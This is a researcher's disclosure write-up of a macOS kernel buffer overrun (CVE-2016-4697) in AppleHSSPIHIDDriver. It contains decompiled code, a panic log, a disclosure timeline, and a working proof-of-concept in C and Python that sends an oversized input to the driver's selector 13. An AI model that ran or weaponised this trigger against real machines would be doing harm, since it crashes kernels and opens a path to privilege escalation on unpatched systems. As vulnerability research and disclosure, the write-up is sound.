CVE-2016-4697 buffer overrun in macos kernel driver

This is the writeup for CVE-2016-4697 which I reported and get credit from Apple at https://support.apple.com/en-us/HT207170

Buffer overrun in AppleHSSPIHIDDriver

An buffer overrun exists in AppleHSSPIHIDDriver _setReportGated, in versions starting from at least 10.11.2 to 10.11.6. An application may be able to execute arbitrary code with kernel privileges with this privilege.

The vulnerable code disassembly is as follows:

_setReportGated
    descLen = desc->vtbl->__ZNK18IOMemoryDescriptor9getLengthEv(desc);
    if ( v28 == 81 )
    {
      v28 = 81;
      if ( (unsigned __int8)(*(__int64 (__cdecl **)(__int64, AppleHSSPIHIDDriver *, __int64))(*(_QWORD *)this->field_D0
                                                                                            + 2176LL))(
                              this->field_D0,
                              v10,
                              v30) )
        v28 = 32;
    }
    desc->vtbl->__ZN18IOMemoryDescriptor9readBytesEyPvy(
      desc,
      0LL,
      (void *)(this->incomingReportBytes + 8),
      (unsigned __int16)descLen);
    v32 = (unsigned __int16)descLen;
    v51 = (unsigned __int8)v51;
    HSSPIFillHIDPacketHeader(
      v28 | ((unsigned __int64)(unsigned __int16)descLen << 32) | (descLen << 48) | ((unsigned __int64)(unsigned __int8)v51 << 24) | (unsigned __int16)(v29 << 8),
      this->incomingReportBytes);
    v33 = crc16_compute(this->incomingReportBytes, (unsigned __int16)descLen + 8LL, 0LL);
    v34 = this->incomingReportBytes;

We can see the incoming buffer is directly copied into incomingReportBytes using readBytes, no size check is performed.

Note that the function readBytes means reading bytes from incoming memory descriptor to target bufffer, it’s actually a write operation.

However the incomingReportBytes is allocated in service init function

  if ( this->buffermd->vtbl->__ZN25IOGeneralMemoryDescriptor7prepareEj((IOGeneralMemoryDescriptor *)this->buffermd, 0LL) )
  {
    v22 = this->vtbl->__ZNK15IORegistryEntry7getNameEPK15IORegistryPlane((IORegistryEntry *)this, 0LL);
    v23 = "Error: %s::%s _bufferMD->prepare returned 0x%08x\n";
LABEL_22:
    IOLog(v23, v22, "start");
    goto LABEL_15;
  }
  v24 = this->buffermd->vtbl->__ZN24IOBufferMemoryDescriptor14getBytesNoCopyEv(this->buffermd);
  memset(v24, 0, 0x1000uLL);
  this->incomingReportBytes = (__int64)this->buffermd->vtbl->__ZN24IOBufferMemoryDescriptor14getBytesNoCopyEv(this->buffermd);
  this->someOtherBufferPtr = (__int64 (__fastcall *)(IOBufferMemoryDescriptor *, _QWORD))this->buffermd->vtbl->__ZN24IOBufferMemoryDescriptor14getBytesNoCopyEv(
                               this->buffermd,
                               0LL)
                           + 1024;

We can see the buffer is of size 0x1000. The setReportGated function doesn’t perform check on incoming buffer size so we can pass a buffer of large size to overrun incomingReportBytes.

Attached the panic log

*** Panic Report ***

panic(cpu 3 caller 0xffffff80057ce40a): Kernel trap at 0xffffff7f87cbb3cb, type 14=page fault, registers:
CR0: 0x000000008001003b, CR2: 0xffffff810e94f000, CR3: 0x000000023c8d90c7, CR4: 0x00000000001627e0
RAX: 0xffffff7f87cc1cf0, RBX: 0xffffff810e94f000, RCX: 0x0000000000000069, RDX: 0x0000000000006913
RSP: 0xffffff9134393920, RBP: 0xffffff9134393930, RSI: 0x0000000000000000, RDI: 0xffffff810e94d000
R8:  0x0000000000002800, R9:  0x0000000000000040, R10: 0x0000000000000000, R11: 0x00000f51e0bf1dac
R12: 0x0000000000000050, R13: 0xffffff802270c800, R14: 0x0000000000000808, R15: 0x2800000000000000
RFL: 0x0000000000010202, RIP: 0xffffff7f87cbb3cb, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0xffffff810e94f000, Error code: 0x0000000000000000, Fault CPU: 0x3, PL: 0

Backtrace (CPU 3), Frame : Return Address
0xffffff91343935b0 : 0xffffff80056dab12 mach_kernel : _panic + 0xe2
0xffffff9134393630 : 0xffffff80057ce40a mach_kernel : _kernel_trap + 0x91a
0xffffff9134393810 : 0xffffff80057ec273 mach_kernel : _return_from_trap + 0xe3
0xffffff9134393830 : 0xffffff7f87cbb3cb com.apple.driver.AppleHSSPISupport : _crc16_compute + 0x5e
0xffffff9134393930 : 0xffffff7f87cd1a7c com.apple.driver.AppleHSSPIHIDDriver : __ZN19AppleHSSPIHIDDriver15_setReportGatedEP18IOMemoryDescriptor15IOHIDReportTypej + 0x408
0xffffff91343939f0 : 0xffffff8005cb5958 mach_kernel : __ZN13IOCommandGate9runActionEPFiP8OSObjectPvS2_S2_S2_ES2_S2_S2_S2_ + 0x1a8
0xffffff9134393a60 : 0xffffff7f87cd160b com.apple.driver.AppleHSSPIHIDDriver : __ZN19AppleHSSPIHIDDriver9setReportEP18IOMemoryDescriptor15IOHIDReportTypej + 0x5f
0xffffff9134393ab0 : 0xffffff7f86548a1f com.apple.iokit.IOHIDFamily : __ZN18IOHIDLibUserClient9setReportEP18IOMemoryDescriptor15IOHIDReportTypejjP15IOHIDCompletion + 0x263
0xffffff9134393b30 : 0xffffff8005cb5958 mach_kernel : __ZN13IOCommandGate9runActionEPFiP8OSObjectPvS2_S2_S2_ES2_S2_S2_S2_ + 0x1a8
0xffffff9134393ba0 : 0xffffff7f86547556 com.apple.iokit.IOHIDFamily : __ZN18IOHIDLibUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x64
0xffffff9134393be0 : 0xffffff8005cdf277 mach_kernel : _is_io_connect_method + 0x1e7
0xffffff9134393d20 : 0xffffff8005797cc0 mach_kernel : _iokit_server + 0x5bd0
0xffffff9134393e30 : 0xffffff80056df283 mach_kernel : _ipc_kobject_server + 0x103
0xffffff9134393e60 : 0xffffff80056c28b8 mach_kernel : _ipc_kmsg_send + 0xb8
0xffffff9134393ea0 : 0xffffff80056d2665 mach_kernel : _mach_msg_overwrite_trap + 0xc5
0xffffff9134393f10 : 0xffffff80057b8bda mach_kernel : _mach_call_munger64 + 0x19a
0xffffff9134393fb0 : 0xffffff80057eca96 mach_kernel : _hndl_mach_scall64 + 0x16
      Kernel Extensions in backtrace:
         com.apple.iokit.IOHIDFamily(2.0)[8D04EA14-CDE1-3B41-8571-153FF3F3F63B]@0xffffff7f86546000->0xffffff7f865bdfff
            dependency: com.apple.driver.AppleFDEKeyStore(28.30)[C31A19C9-8174-3E35-B2CD-3B1B237C0220]@0xffffff7f8653b000
         com.apple.driver.AppleHSSPISupport(43.0)[0932EE59-DCCE-34E9-AECA-28301C1BC40D]@0xffffff7f87cb5000->0xffffff7f87ccbfff
            dependency: com.apple.driver.AppleIntelLpssSpiController(2.0.60)[EF86D225-24E1-3B90-BC2B-9894B27913FA]@0xffffff7f87aaa000
            dependency: com.apple.iokit.IOACPIFamily(1.4)[5D7574C3-8E90-3873-BAEB-D979FC215A7D]@0xffffff7f865dc000
         com.apple.driver.AppleHSSPIHIDDriver(43.0)[F5A0BBCD-7422-38EA-AAA7-218AC0FB5B33]@0xffffff7f87ccf000->0xffffff7f87cd7fff
            dependency: com.apple.iokit.IOHIDFamily(2.0.0)[8D04EA14-CDE1-3B41-8571-153FF3F3F63B]@0xffffff7f86546000
            dependency: com.apple.driver.AppleHSSPISupport(43)[0932EE59-DCCE-34E9-AECA-28301C1BC40D]@0xffffff7f87cb5000

The panic shows traces in crc_compute because the memory allocated for descriptor (getBytesNoCopy) may not be adjacent, so out-of-bound sequential access may generate page fault.

If pages are adjacent (which can be archived by some fengshui i think), we can see in kdp that memory more than 0x2000 is overridden: the original address started at 0xffffff81150ee000, however 0xffffff81150f0708 are still overridden by 0x61, overflow 0x700 bytes.

inst-disass

mem-layout-1

mem-layout-2

POC

int main(int argc, const char * argv[]) {
    io_iterator_t iterator;
    IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("AppleHSSPIHIDDriver"), &iterator);
    io_service_t svc = IOIteratorNext(iterator);
    io_connect_t conn;
    assert(KERN_SUCCESS == IOServiceOpen(svc, mach_task_self(), 0, &conn));

    uint64_t inscalar[3] = {0};
    size_t inscalarcnt = 3;
    char inputstruct[10240] = {0};
    memset(inputstruct, 'a', sizeof(inputstruct));
    uint32_t outputcnt;
    size_t outputStructCnt;
    IOConnectCallMethod(conn, 13, inscalar, inscalarcnt, inputstruct, 10240, 0, 0, 0, 0);
}

If you write POC in KitLib it will become simpler:

import kitlib
h = kitlib.openSvc('AppleHSSPIHIDDriver', 0)
kitlib.callConnectMethod(h, 13, [0L]*3, 'a'*10240, 0, 0)

Disclose Timeline

  • 2016-02 Initial Discovery
  • 2016-06-14 Report to Vendor, issue confirmed
  • 2016-09-20 Advisory Published

发表评论

电子邮件地址不会被公开。 必填项已用*标注